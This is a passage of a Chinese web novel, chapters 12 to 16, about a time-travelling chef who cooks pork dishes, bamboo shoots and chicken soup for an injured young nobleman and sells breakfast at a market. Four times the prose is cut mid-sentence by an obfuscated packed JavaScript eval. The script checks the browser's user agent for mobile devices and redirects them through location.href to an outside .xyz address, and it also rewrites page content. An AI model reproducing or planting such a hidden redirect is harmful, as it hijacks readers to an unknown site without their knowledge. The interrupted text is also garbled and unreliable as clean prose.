“姑娘，昨天的猪肺做的可还行？”老邱见是顾宛央，忙问道。 “味道不错，都吃完了，多谢邱师傅相赠。”顾宛央笑盈盈地答道。 老邱见顾宛央说的不像假话，意外地说道：“你这女娃子还挺能干，居然能把这玩意做的好吃了。” “谢谢邱师傅夸奖，再给我来一大块肉。”顾宛央指着一块肉说道。 老邱手起刀落，按照顾宛央说的地方就是一刀，边割边说：“你可真会挑。” 顾宛央在肉摊上来回看了一圈，指着角落里的四个猪脚说道：“邱师傅，这几个猪脚帮我称一下。” “嘿，你这姑娘，专门买这些又没肉又难做的东西。”老邱摇着头一边说一边给她称重。 “便宜嘛。”顾宛央笑着说道，心里补了一句虽然便宜但营养比纯肉都好，补气血和养身的佳品。 每次摆摊的东西被一抢而光，都给她增添了一丝信心，她是可以靠着这个技能挣钱的，况且李瑾修说过要酬谢的，看他的样子非富即贵，这点银子不在话下，将他吃的喝的都记上账，等他离开之时问他算钱，就当做他的私家厨子了。 顾宛央买完肉，又买了一些黄豆，这才返回家中。 一到家中，顾宛央便将黄豆泡上，然后开始处理猪脚，这里的猪脚不像现代卖的是已经处理地很干净了，顾宛央面前的四个猪脚脏兮兮的，正等着她来处理。 顾宛央打了一盆水，将猪脚浸泡在水中，泡了一会过后，她用刷子用力将猪脚刷洗一遍，刚才血乎乎的猪脚变得干净了许多，但还是没达到顾宛央的要求。 她点起火把猪脚表皮烧了一圈，祛除猪毛和汗腺，去掉腥味和异味，然后用刀把猪蹄表皮烧糊的地方刮干净，等做完这些，猪脚这才显露出它白白胖胖的本来面目。 顾宛央将处理干净的猪脚冷水下锅，加入料酒、葱、姜以及少许白醋，烧大火煮沸焯水后捞出洗干净。 到这一步，焯过水的猪脚腥味和异味已经基本全都去除干净了，将猪脚切成块状，重新放入盆中加水加盐浸泡一炷香的时间，这样能有效地去除血水，使得猪脚更加干净。 等这一切全部做完，就可以开始炖煮了，将猪脚放入冷水中，加葱姜料酒后起火烧开，再把柴火减到最小让它慢慢炖煮。 猪脚黄豆汤做法不复杂，但清理猪脚很费时间，小火熬煮也费时间，等到猪脚熬了半个时辰后，便将浸泡好的黄豆放进去一起煮，黄豆煮的时间也要长，才能软烂香酥。 随着时间的慢慢过去，锅中的汤渐渐变成了乳白色，肉乎乎的猪脚在汤水中微微颤抖，看着就是满满的胶原蛋白，黄豆也在汤中翻滚，从最初的坚硬变得逐渐温软起来。 顾宛央在猪脚黄豆汤出锅的时候，撒上了一把葱花，更是增添了一丝香味，颜色也变得好看起来。 时辰也到了中午，顾宛央盛了满满一大碗猪脚黄豆汤，端进了杂物间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792295|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李瑾修已经半坐在床上等着了，他耳力极好，听到了顾宛央回来在厨房忙碌的声音，他已经期待了好几个时辰了。 所以，当顾宛央打开门进去的时候，就看见李瑾修满心期待的眼神，那目光紧紧跟随着顾宛央手中的托盘。 顾宛央发现李瑾修的眼睛很好看，每次有所期待的时候，眼睛亮亮的让人无法拒绝。 “宛央姑娘，辛苦你了。”李瑾修虽然心系托盘，但还是很有礼貌地打招呼。 “无妨，购买食材的钱和我的人工费已经都记好账了，这段时间我就是你的私人厨子。”顾宛央说道。 李瑾修愣了一下，立马反应过来，抱拳说道：“当然当然。” “这是猪脚黄豆汤，吃了对你恢复身体有帮助。”顾宛央把托盘放下说道，不知道这位爷吃不吃猪脚，不吃也没别的了。 “猪......脚？”李瑾修在听到这个词的时候，俊脸一抽，这姑娘每次做的东西真是奇特啊。 “怎么？又不吃吗？那我拿走了。”顾宛央见他这个神情，便知又是他没吃过的东西，于是想弯腰端托盘。 “别，别拿走。”李瑾修赶忙用手护住托盘，他已经闻到香味了，一点腥味和异味都没有，满满的都是香味。 “行，那你吃吧。”顾宛央见他这模样，站直了身子说道。 等顾宛央离开，李瑾修把托盘摆摆正，看向汤碗，乳白色的汤汁上飘着翠绿色的葱花，这颜色就已经很诱人了，再凑近了闻一闻，浓郁的肉香和豆香味让人食指大动。再看碗里的猪脚，咦，居然不是自己印象中那样又丑又脏，白白净净的被切成了块状， 李瑾修拿起勺子先舀了一口汤，汤的温度还有些烫嘴，但他一秒都等不及了，稍稍吹了两下便小心地喝了下去，滚烫的浓汤喝道嘴里，带着些许刺激的口感，加上猪脚炖出来的胶质和黄豆的豆香味，这一口汤浓郁醇厚，让人欲罢不能。 李瑾修再次刷新了对顾宛央的认识，这位姑娘虽然做的都是不常见的甚至没人吃的食物，但不得不说，这比他吃过的山珍海味都要好吃！ 他夹起一块猪脚，仔细端详了一番，克服了一下心理障碍，一口咬下去，猪脚软软糯糯的，一点异味都没有，反而是满嘴的醇香，外皮软糯弹牙，里面的蹄筋则是筋道有嚼头，这双重口感让味蕾得到极大的满足。再吃一口黄豆，软烂鲜香，满是带着肉香味的豆香味，这两个食材结合在一起简直是绝配。 李瑾修快速地喝汤吃肉，还不忘记扒一大口米饭，宛央姑娘说过要多吃米饭才能恢复力气，吃一口猪脚黄豆再吃一口米饭，很快一大碗米饭和一大碗汤都吃光了，吃得李瑾修摸着肚子只觉得太满足了。 今天他已经试过可以借助大丰的帮助下地了，但走不了两步路就腿上没力气了，看样子还得养几天才行，不过此刻享用着美食的李瑾修，已经没那么急迫地想离开此地了，反正今日已经飞鸽传书回去报平安了。 13. 第 13 章 今天下午小桃和大丰从山上回来，只摘回来半背篓的香椿，果然如顾宛央所料，山上的香椿已经被人知晓采摘了。 “宛央姐，香椿都被采光了，这怎么办？”小桃沮丧地说道。 “无妨，前几日你们摘的已经够多了，我都做成了香椿酱，够吃一年的了。”顾宛央笑着安慰道。 “那些人真是的，跟蝗虫似的，你没看见山上的人，乌压压的一片，都在摘香椿，他们怎么知道这里有香椿摘啊。”小桃还是有些不忿。 “县城附近就这一座山，找了几天也该找着了。”顾宛央说道。 “宛央姐，你就不该告诉他们是在山上摘的香椿。”小桃说道。 “小桃，这龙跃山本就是属于大家的，山上的东西是大自然的馈赠，我们不能据为己有，况且香椿是有季节性的，这么多的香椿我们摘不完吃不完，多浪费是不是？”顾宛央见小桃依旧在抱怨，放下手中活转身直视她的眼睛认真地说道。 小桃听了顾宛央这番话，若有所思，她一向很听顾宛央的话，点头应道：“是。” 顾宛央见小桃听进去了，不再有怨言，正准备继续干活，就听到小桃欢快的声音响起来：“宛央姐，香椿被采光了不要紧，你看我跟大丰挖到了什么？” “什么？”顾宛央见小桃的情绪转变这么快，不由好笑地看着她说道。 小桃跟献宝似的把背篓上面一层的香椿抓出来出来，一堆竹笋露了出来。 “咦，是笋！山上的竹笋出来了？”顾宛央一见，惊喜地说道。 “对啊，不过挖的人也太多了，我和大丰拼了命也只抢到这点。”小桃说道。 “不错不错，这些可以炒两大盘了，够了。”顾宛央说道。 “我去把这些笋剥出来，宛央姐你来炒一炒，晚上我们一起吃！”小桃雀跃地提着背篓就去剥笋了。 顾宛央回到厨房，从明天做包子的大坨肉块上切下来一小块，炒竹笋加点肉片会更美味，这点肉也就几个包子的量，也不差这几个，而时令的竹笋错过就要再等一年了。 小桃剥笋很有一套，先用刀在笋的表面竖着划一刀，笋皮就很顺利地被扒了下来，剥一个笋只要片刻功夫，没多久小桃就把所有的笋都剥好了。 小桃把剥好的笋交给顾宛央，闲不住地问道：“宛央姐，还需要我做什么？” “你去菜园子摘点辣椒和青蒜叶回来，再洗洗干净。”顾宛央吩咐道。 “好嘞！”小桃一阵风似地跑了出去。 顾宛央将剥好的笋浸泡到水中清洗，刚刚挖出来的竹笋真是新鲜，嫩的能掐出水来，一股清香扑面而来。 白嫩的竹笋在水中漂洗干净捞出来，沥干水分后开始切片，顾宛央一边切一边闻着竹笋的清香，真是好闻。 小桃已经把红辣椒和青蒜叶都摘回来洗干净了，顾宛央切完竹笋后，顺便把配菜一起给切完了，然后将竹笋放进烧开的水中焯煮，去除笋中的草酸和涩味。 准备工作做好后，顾宛央起锅烧油，油热了以后先把肉片放入锅中煸炒，用料酒和酱油腌制过的肉片，一接触到热油后，一边发出滋滋的声音一边散发出肉香味。 “好香好香。”小桃站在灶台边使劲嗅着道。 顾宛央看着小桃笑了笑，接着扔了几片蒜头进去。 “哇，这怎么更香了。”小桃忍不住地说道。 “肉片用料酒腌过，肉就不会有腥味异味，蒜片更是増香去味的好东西，特别是跟肉类会完美地结合，所以你闻起来就会更香。”顾宛央解释道。 “宛央姐，你太厉害了，我也想跟你学做饭。”小桃一脸崇拜，自从在这个村子定居下来，她才感受到什么叫美味，就算是顾宛央做的简简单单一道蔬菜都觉得比以前自家做的好吃。 “你这不就在学了嘛。”顾宛央笑着说道。 “嗯，我会好好学的。”小桃咽了一下口水说道。 顾宛央点点头，锅中的肉片已经变色，由于放了酱油，颜色微微呈现酱白色，肉片已经煸得差不多了，顾宛央把辣椒和青蒜叶倒了下去一起翻炒，翻炒几下后将焯好水的竹笋倒入锅中。 此时锅中的香气已经非常的丰富，在大火爆炒之下，刚刚入锅的竹笋香气被彻底激发出来，顾宛央也忍不住使劲闻了几下，新鲜挖出来的就是香，就算顾宛央在现代的时候是顶级大厨，也很少能碰到从地里挖出来后直接进厨房的食材，这对于对食材要求极高的顾宛央来说，这是不可多得的。 顾宛央手中的锅铲快速翻炒，加入盐之后她并没有再放别的调味品，竹笋本身就很鲜美，再加上肉片的鲜味，只需加些盐，这道菜就会极美味。 竹笋是焯煮过的，不用过多地烹饪，顾宛央一手颠锅一手拿着锅铲配合，把小桃看得目瞪口呆，这手法看上去好厉害，顾宛央手中的锅份量不轻，但她颠锅颠得很是轻松。 锅中的笋片在快速翻炒下，已经变成微微的嫩黄色，红色的辣椒和青色的蒜叶点缀其中，光看颜色就让人垂涎欲滴，更别提还有这几种食材混合在一起的香气有多香了。 顾宛央最后颠了几下锅后便盛了出来，果然盛了满满两大盘，小桃在一旁闻着香味直流口水，迫不及待地将笋片端了出去。 桂花婶和张婶已经把米饭以及萝卜干酱菜都准备好了，平时他们吃饭都很简单，就着这些酱菜萝卜干下饭吃，顶多再炒个菜园子里现成有的蔬菜。 面对着热气腾腾满是锅气的竹笋炒肉片，大家快速坐下拿起碗筷准备开吃。 顾宛央夹了一筷子笋片吃进嘴里，饶是她吃过数不清的美味，也被这一口脆嫩鲜爽给惊艳到了，而且笋片居然还微微爆汁，果然是新鲜，笋中的水分得到极大的保留。虽然只是加了点盐，但食材本身的鲜味已经足够，所以吃起来非常美味。 大家都沉浸在竹笋的美味中，就连嘴里咀嚼的咯吱咯吱声，都让人觉得很好吃。 张婶是从北边过来的，北地寒冷不产竹笋，所以以前没吃过竹笋，但她知道顾宛央的厨艺，所以有一种未知的期待。 直到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792296|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一口竹笋进入口腔，她才明白这是怎样的一道菜了，这种鲜嫩脆爽是她从来没有尝到过的，竹笋的清香久久不散，张婶脸上充满着惊喜和满足。 桂花婶一家是吃过竹笋的，所以小桃才会带着大丰在山上挖竹笋，只不过以前自己炒着吃的时候，也就是觉得挺普通的一道菜而已，但今天看顾宛央炒出来的这道菜，比自己炒的香了很多，而且卖相也好了很多，她的期待值一下就上去了。 果然，宛央这姑娘的厨艺绝对是外头馆子里大厨的水平，简简单单的一道竹笋，让她炒出了大菜的味道，嗯，加点肉片确实给竹笋提了很大的鲜味，虽然没几片肉但还是跟干炒竹笋不一样的。 咦，这竹笋一点涩味都没有呢，桂花婶细细品尝着竹笋，那种熟悉的涩感却一点都没有，她不由地开口问道：“宛央，你炒的这个竹笋一点都不涩呢？怎么做到的？” 顾宛央想了一下，说道：“我炒之前，把竹笋焯过水，这样会去除涩味。” “原来是这样，焯水就能去涩味，又学会了一招。”桂花婶恍然大悟，以前她都是直接下锅炒，怪不得有股涩味。 “宛央姐，你懂的真多，你做的菜比我娘做的好吃多了。”小桃从饭碗中抬起头，崇拜地看着顾宛央说道。 桂花婶这次没有作势要打小桃，她也由衷地叹道：“谁将来娶了宛央，真是有福气了。” 顾宛央笑着岔开话题：“我去盛些汤来，大家尝尝。” 猪脚黄豆汤还剩了一些，李瑾修胃口已经开了，一锅汤被他吃得剩了一点点，明天肯定是不够他吃的，还得重新做新的，所以顾宛央索性热了热拿来给大家分了吃。 “这几天真有口福，跟着宛央吃了好多好吃的。”桂花婶喝了一口汤感慨道。 “是啊，宛央，你买这些食材花了不少钱吧？”张婶过意不去地说道。 “张婶，没花多少钱，这都是给瑾修做的，等他伤好了我会让他付钱的。”顾宛央说道。 “哈哈，对，让他付钱，看他的穿着打扮肯定是个有钱人。”桂花婶笑了起来。 张婶听了，又担忧地说道：“那我们把这些都吃了，他就没得吃了。” “张婶，这都是那位哥哥吃剩下来的，我们帮他吃了，免得浪费。”小桃也开口说话了，她生怕顾宛央被张婶的话影响，那明天可就吃不到了，正好刚刚被顾宛央教育不要浪费，就用上这词了。 “小桃说的对，而且你们也都在照顾他，吃点他剩下来的食物一点都不过分。”顾宛央点着头说道。 张婶这才安心下来，说道：“说到那个年轻人，他现在可以在大丰的搀扶下下床了，果然是年轻，恢复就是快。” “哦？真的啊？”顾宛央一听，觉得自己给他做的东西没有白费，再过几天估计就可以单独下地走动了吧。 大丰在一旁吃着东西，腮帮子鼓鼓的，不好开口说话，只是猛点头。 顾宛央听到这个消息还是挺开心的，她心里已经开始盘算明天给他做什么吃的再补一补了。 14. 第 14 章 香椿只有半背篓，只够做了香椿饼，香椿酱是做不成了，早上就只有肉包子和香椿饼两种早点。 顾宛央摆摊短短几天功夫，已经有老食客了，他们每天都守着她的到来，得知香椿饼明天开始就不卖了以后，气得大骂那些去摘香椿的人，害得他们没的吃了。 顾宛央赶紧劝慰他们，她会做的好吃的还很多，正好可以做些新的早点了，这才让这些老食客们不仅消了气，还很期待明天能有什么新鲜吃食。 肉包子还是继续做，再增加一个品种就行，现在虽然赚了一些钱，但还不是很多，而且摆摊条件也有限制，只能从家里做好推出来卖，所以顾宛央想来想去，决定做糯米饭团来卖，相对来说这还是比较简单易操作的。 糯米饭团需要的糯米在集市上是有卖的，也不是很贵，回家一煮就可以用，主要是饭团里面夹的馅料，顾宛央没想好要用什么，普通的萝卜干咸菜之类可以做配料，但这些都太普通了，必须得又好吃又不常见的才行。 顾宛央收完摊子一边逛市集一边考虑，以现在的条件做油条不太方便，不然在饭团里加半根油条也是不错的，火腿肠呢那是更加不好做了。 对了，可以做肉松夹在饭团中，再配上一些萝卜干咸菜，那也是很美味的吃法，想到这里，顾宛央加快了脚步往肉摊走去。 老邱肉摊上的肉的确是最好的，顾宛央把摊上的里脊肉都给包圆了，还继续买了做肉包子的肉，老邱乐得合不拢嘴，没想到这姑娘天天来买肉，而且还越买越多。 买完肉和糯米，顾宛央还在四处逛着，今天要给李瑾修做的菜还没买好，得给他多补补气血才行。 “姐姐，买鸡吗？这是我家下蛋的老母鸡，可以炖汤喝。”一个正处在变声期的男孩，喊住了顾宛央。 顾宛央每次听得变声期的男声，总忍不住想笑，嘎嘎嘎的像鸭子叫，她停下脚步，看了一眼这个小摊主，男孩大约十三四岁的年纪，一双眼睛透露着一股机灵劲。 男孩见顾宛央驻足，马上拎着老母鸡站起来说道：“姐姐，你看看，我家这只老母鸡养得多壮实。” 顾宛央仔细观察了一下被男孩拎着手上的老母鸡，确实羽毛鲜亮，体态壮实，叫声也很响亮，挣扎起来两只脚蹬得有力，男孩险些都抓不住，应该不是只病鸡。 “这么好的一只下蛋老母鸡为什么要卖了？”顾宛央有些不解地问道。 “这段时间它下蛋少了，我阿奶说卖了再买几只小鸡养大下蛋。”男孩说道。 老母鸡随着年龄的增长，下蛋数量会逐年减少，但一点都不会影响它的营养价值，反而老母鸡会比一般的散养鸡更有营养，当然老母鸡不适合炒，只能炖汤喝，正适合李瑾修这样需要大补的人。 “行，我买了。”顾宛央爽快地掏钱道。 “好嘞，谢谢姐姐，姐姐真有眼光。”男孩接过铜板，还不忘夸赞两句。 顾宛央买完老母鸡，朝着旁边的药铺走了进去，这么好的老母鸡，熬汤怎么能少的了黄芪、党参呢，再加点红枣，味道更好。 采购完后，顾宛央赶紧加快脚步回家，老母鸡要炖好几个小时呢，得赶在中午前炖好。 当顾宛央匆匆推开院子大门的时候，发现李瑾修坐在院子里的凳子上，手上捧着一只白色的鸽子，旁边还放了根棍子。 “诶？你抓了只鸽子吗？正好可以给你炖汤喝。”顾宛央一眼就看中了他手上那只鸽子，长得白白胖胖的，炖汤肯定不错。 “啊？鸽子炖汤？”李瑾修听到顾宛央的话，吓得一激灵，立马放开鸽子，只见它扑棱着翅膀哗地一下就飞走了。 “诶，诶，怎么放走了？”顾宛央跺脚轻叹，可惜地看着白鸽飞远的身影。 李瑾修心中后怕，还好刚刚已经把鸽子脚上的纸条放进怀里了，鸽子啊鸽子，快飞走吧，别被逮着炖汤了。 “咦，你自己一个人也能下床了？看样子好得差不多了。”顾宛央见鸽子彻底飞走了，转头看向李瑾修，不过她并没有太多惊讶，既然扶着大丰就可以下床了，那自己拄根棍子也可以下。 李瑾修却是有些慌乱，他有些结巴地说道：“没，不是，我......我还挺难的......” “你难什么？”顾宛央放下背上的背篓，奇怪地问道，这个人说话还挺难懂。 “我，我是说，我自己一个人下床还是挺难的，刚刚我都摔了好几下。”李瑾修慌忙解释道。 “哦？”顾宛央看了看李瑾修，他已经换上了张婶男人的粗布衣裳，虽然破旧但被张婶洗的非常干净，穿上粗布衣裳的李瑾修依旧气度不凡，但明显能看到袖子上有几块新的污渍，应该就是刚刚摔的吧。 “所以，我还没恢复，还得再多养些日子。”李瑾修抬着手臂给顾宛央看摔倒的证据。 “你还是赶紧恢复了，赶紧离开吧。”顾宛央皱着眉头说道。 “宛央姑娘放心，我一定会付酬金给你们的，人工、食材你都给记上，还有郎中的药费，以及你们的救命之恩，我都不会忘记的。”李瑾修以为顾宛央是怕他不付钱。 见顾宛央眉头还是紧锁，李瑾修忙将怀中玉佩取了出来，递过去说道：“身上只剩下这一个值钱的物件，烦请宛央姑娘收下，我知道肯定是不够的，等我完全恢复后再重重酬谢。” 顾宛央并未去接他手上的玉佩，说道：“酬金自然你是要付的，但玉佩这东西还是等你伤好了再去换做银钱吧，你现在给我这个，我也不知道怎么处置。” 李瑾修见顾宛央这么说，也就不再强行塞给她玉佩，只是眼神祈求地看着她。 “哎，实话跟你说吧，我担心的是你的仇人会再次找过来，我们这些老弱妇孺可帮不了你。”顾宛央看到他的眼神莫名就觉得有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792297|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心软，于是把心中的忧虑说了出来，这几天她都自己一个人提心吊胆，不敢跟张婶和桂花婶她们说，就怕吓着她们。 “仇人？我的仇人？”李瑾修有些摸不着头脑。 “就是前几天找上门来那几个，我让你不要出声，你还咬了我一口。”顾宛央不自觉地抬起手摸了摸被咬的那个地方，好像又感觉到一阵剧痛。 “我想起来了，你还使劲推了我一把，给我撞晕过去了。”李瑾修一下子想起来。 顾宛央深吸一口气，居然还怪自己撞他了，她冷静了一下开口说道：“你咬的这么重，不知道的还以为我是你仇家，我撒手都撒不开，可不就只能推你一把了。” “对不住，对不住，宛央姑娘，我不是有意咬你的，只是心里着急又被你捂着嘴说不出来。”李瑾修见顾宛央面色不对，赶紧道歉，生怕她拿起扫帚赶自己离开。 “你要是发出一点声音，就被仇家找到了，不捂住你的嘴怎么办呢。”顾宛央无奈地说道。 “宛央姑娘，你误会了，他们不是我仇家，是我家里派来寻我的人。”李瑾修也无奈地说道，如果不是这姑娘阻拦，他应该早就回家了，不过那样也就吃不到这么多好吃的了，想到此，他看向顾宛央的目光中带着感激。 顾宛央见他眼神从愤怒到无奈到感激，一时间有些发愣，这人在想什么呢，不过听到李瑾修说那些人不是仇家的时候，她这口气彻底松了下来，后悔没早点跟他讲起，害得她担心了这么多天。 “那你失踪这么多天，你家里人要担心了吧。”顾宛央后知后觉地发现自己阻挠了李瑾修回家，有些愧疚地说道。 “不会，我已经报过平安了。”李瑾修忙说道，生怕顾宛央喊他让家里人来接。 报过平安了，顾宛央狐疑地打量了一下李瑾修，他又没出过门，说道：“你出去过了？还是让张婶桂花婶替你传话了？” “不不不，不是的，我家离此地远，不好麻烦张婶桂花婶她们。”李瑾修忙摆手说道，趁机说出家里远的信息来。 “那你怎么报平安，你家里人又找到这里来了？”顾宛央问道，难道那几个人趁她出门摆摊的时候又来过了。 李瑾修见她一心要想知道，便咬了咬牙，尴尬地伸手指了指天空，提示道：“信鸽。” 信鸽？顾宛央反应了一会，才想起来飞鸽传书这一说法，信鸽这个年代的重要通讯工具，天哪，那刚刚他手上的鸽子就是信鸽了，自己还吆喝着要炖汤喝了，她果然是眼里只有食材啊，顾宛央顿时脸上有些发烫，她抓起地上的老母鸡，掩饰道：“中午给你炖土鸡汤喝，你先坐着休息，我去处理一下。” 说完，拎着咯咯抗议的老母鸡飞快地进了厨房。 李瑾修见顾宛央没再赶他走，也松了口气，又想起刚才顾宛央脸上慢慢透出的粉红，不由哈哈哈地仰天无声大笑了起来。 15. 第 15 章 顾宛央在厨房烧着水，她要先处理老母鸡，刚刚的尴尬也在她进入厨房后消失，她的眼里只有食材了。 顾宛央熟练地将老母鸡宰杀拔毛处理干净，接着便开始准备配料，生姜切片，再将黄芪、党参、红枣清洗干净，塞入老母鸡的腹腔， 新鲜的老母鸡不用焯水，直接将老母鸡放进装满凉水的锅中烧大火煮开，然后控成小火让它慢慢炖煮。 老母鸡熬汤起码要一个多时辰，正好可以趁着这个时间，把明天夹在饭团里的肉松给做出来，肉松可以放置好些天，不用等到用的时候再做，可以提前做好备用。 顾宛央取出刚买的里脊肉，把上面的筋膜全部撕除干净，然后顺着肉的纹理切成块状，冷水下锅加入葱姜和料酒烧大火开始煮，煮开后把表面的浮沫捞掉，然后控成小火将肉煮熟。 用擀面杖将煮熟的里脊肉敲打松散后，再将里脊肉撕成细细的丝状，这个过程很费耐心和时间，撕成越细口感就越好。 撕出来的肉丝装了满满一盆，原本想着在鸡汤熬好之前可以把肉松做好，但没想到拆肉丝这一步花费了太多时间，只能先放在一旁，等下午再慢慢炒成肉松。 顾宛央放下装肉丝的盆，抬头无意中往厨房门口看了一眼，只见李瑾修正端坐在厨房门口的小板凳上，眼神粘在灶台炖鸡汤的锅上。 “你什么时候坐过来的？”顾宛央有些好笑地问道，这么高的一大个子，蜷坐在一个小板凳上，说不出来的滑稽。 “鸡汤好香！”李瑾修答非所问。 他已经挪过来好久了，又不好意思说他在门口盯着厨房好久，怎地普通的老母鸡汤会这么香呢，害得他在门外坐都坐不住，忍不住就想离这香味更近些，本是被香味吸引着挪过来，但他看着厨房里专注忙碌的顾宛央，加上鸡汤肉汤和柴火混杂着的气味，脑海中突然出现岁月静好这个词来，原来书上说的烟火气息就是这种感觉吗。 “马上就炖好了，你先去坐着吧。”顾宛央看了看灶台上的鸡汤锅，说道。 李瑾修听了这话，拄着棍子慢慢站了起来，看他颤颤巍巍的样子，顾宛央也没打算去扶他，让他多练练脚力可以恢复地快些，她往鸡汤中加盐，又用筷子将整只老母鸡拆分开来。 顾宛央端着鸡汤和米饭走出厨房，本能想走进杂物间，但打眼一瞧，见李瑾修端端正正地坐在厅堂的大桌上等着呢，不得不说他的仪态确实不错，虽然受伤了但不影响他的坐相。 “在这，在这。”李瑾修见到顾宛央的身影，欢快地招手道。 “你今天坐了这么久，不累吗，怎么不去床上靠着吃。”顾宛央端过去问道。 “不累。”李瑾修摇头，坐床上吃太不方便了，前几日是没法子，现在都能下床了，累也得坐在饭桌上吃！ 顾宛央端着托盘走过去，将鸡汤摆放到李瑾修面前，说了一句：“你慢慢吃，不够了厨房还有。” 李瑾修虽然在不停点头，眼神已经被面前的鸡汤所吸引，只见金黄色的鸡油和清澈的汤水交融在一起，这样的色泽让人忍不住流口水，再加上浓郁的香味，李瑾修马上拿起了勺子，舀上一勺鸡汤，轻轻地吹起来。 顾宛央说完话后没马上离开，见李瑾修迫不及待舀起鸡汤的时候，正想出声提醒小心烫，因为鸡油覆在表面，看不出热气冒出，往往让人误以为不烫，但看李瑾修开始吹起鸡汤来，便没再说话，看样子鸡汤他以前是不少吃的。 李瑾修端坐在桌前，左手随意搭在桌上扶着碗，右手舀起鸡汤放到嘴边轻轻吹凉，这简单的一个动作，就让人感觉到此人的优雅，虽是一身粗布旧衣，但也掩盖不住他的气质。 李瑾修并没有发觉顾宛央在观察他，他眼里只有手中的鸡汤，只是心急吃不了热豆腐，鸡汤的温度得正正好，才不辜负这道美味。 等到勺中的鸡汤温度合适了，李瑾修这才慢慢喝了起来，鸡汤一入口，李瑾修那双好看的瑞凤眼就眯了起来，这口汤的好喝程度，远超他的预期，印象中唯有小时候舅母做的饭菜，才能与之媲美，只是舅母生了一对龙凤胎的表弟表妹后，元气大伤，身体受损，他那眼中只有舅母的舅父从此再不让她经常下厨房了，他也就很少能吃到舅母做的好吃的了。 鸡汤鲜美再加上几位药材的搭配，还有红枣的香甜，口感十分丰富有层次，醇厚浓郁的半碗鸡汤下肚，李瑾修原本惨白的唇色，慢慢地红润起来，他满足地吸了口气，拿起碗中的鸡腿咬了一口。 鸡肉筋道有嚼劲，虽说是老母鸡，但鸡肉一点都不柴不硬，反而汁水爆多，连皮带肉一口咬下去，口感极为香浓，鸡皮中丰富的油脂使得口味更加鲜美，加上Q弹爆汁的鸡肉，每一口都让人极为满足。 顾宛央也就着鸡汤就着香椿酱把午饭赶紧吃了，然后开始继续制作肉松，糯米饭团能不能被大家接受，全靠这个肉松馅料了。 将撕好的肉细丝用擀面杖的一头捣碎，然后倒入锅中，加入盐、酱油和糖，开始用小火慢慢地炒起来，一定不能着急用大火，不然的话一会就给炒糊了。 随着炒制时间的增加，原本肉白色的肉碎末已经开始变成微黄色，肉碎末的水气慢慢被炒干，变得松散起来，香气也随之散发出来。 但顾宛央依旧不紧不慢地炒着肉松，火势控制得很小，微红的火光映照在她的脸上，显得如此宁静与柔和，李瑾修被肉松香味吸引挪到厨房后，就看到了这一幕，他倚靠在厨房的门框上，连呼吸都变得轻了起来，生怕打扰到眼前的女子。 顾宛央全神贯注地盯着锅中的肉松，火候是最为关键的，一不小心就会炒糊了，等到锅中的肉松呈现出金黄色，并且形状已呈非常蓬松的状态，顾宛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“肉松？猪肉居然可以做成这个形状，名字取得也很形象，姑娘真是有想法。”李瑾修忍不住夸赞。 顾宛央虽然面上仍旧淡定冷漠，但听到夸赞之词，本来没好气的心情变得有些舒心起来。 小碗中的肉松金黄诱人，凑近了闻更是香味浓郁，李瑾修尝了一小口，顿时抬起头看着顾宛央猛点头，等口中的肉松完全下肚，满脸惊喜地说道：“美味至极！已经不是猪肉原本的味道了，但是又比猪肉更加鲜香，口感也酥香有韧劲，你是怎么想出来把猪肉做成这样的？我从来没吃到过这样的猪肉！” “使劲想。”顾宛央也懒得跟他多做解释，这一时半会哪里说的清楚，于是淡淡地丢了三个字给他。 李瑾修沉浸在吃到美味的愉悦中，一点都不介意顾宛央的敷衍，他继续埋头消灭碗中的肉松去了。 16. 第 16 章 肉松成功地制作出来，这给顾宛央做糯米饭团有了很大的信心。定制的小推车顾宛央已经推了回来，今天正好派上用场。 一大清早就将糯米事先放锅中蒸熟，直接连着锅子端到推车上，再把小泥炉子搬上去，今天有肉包子和糯米饭团两样早餐需要加热的，所以顾宛央借了桂花婶家的泥炉子，她在盘算着找做炉子的铺子再打一个大炉子，反正现在有推车了，有了大炉子就可以在市集上做那些可以现做的食物，能做的美食就更多了。 果然有了推车就是方便，顾宛央将物品摆放地整整齐齐，她上手试推了一下，比背着背篓轻松了很多。 “早啊。”李瑾修的声音在顾宛央身后响起。 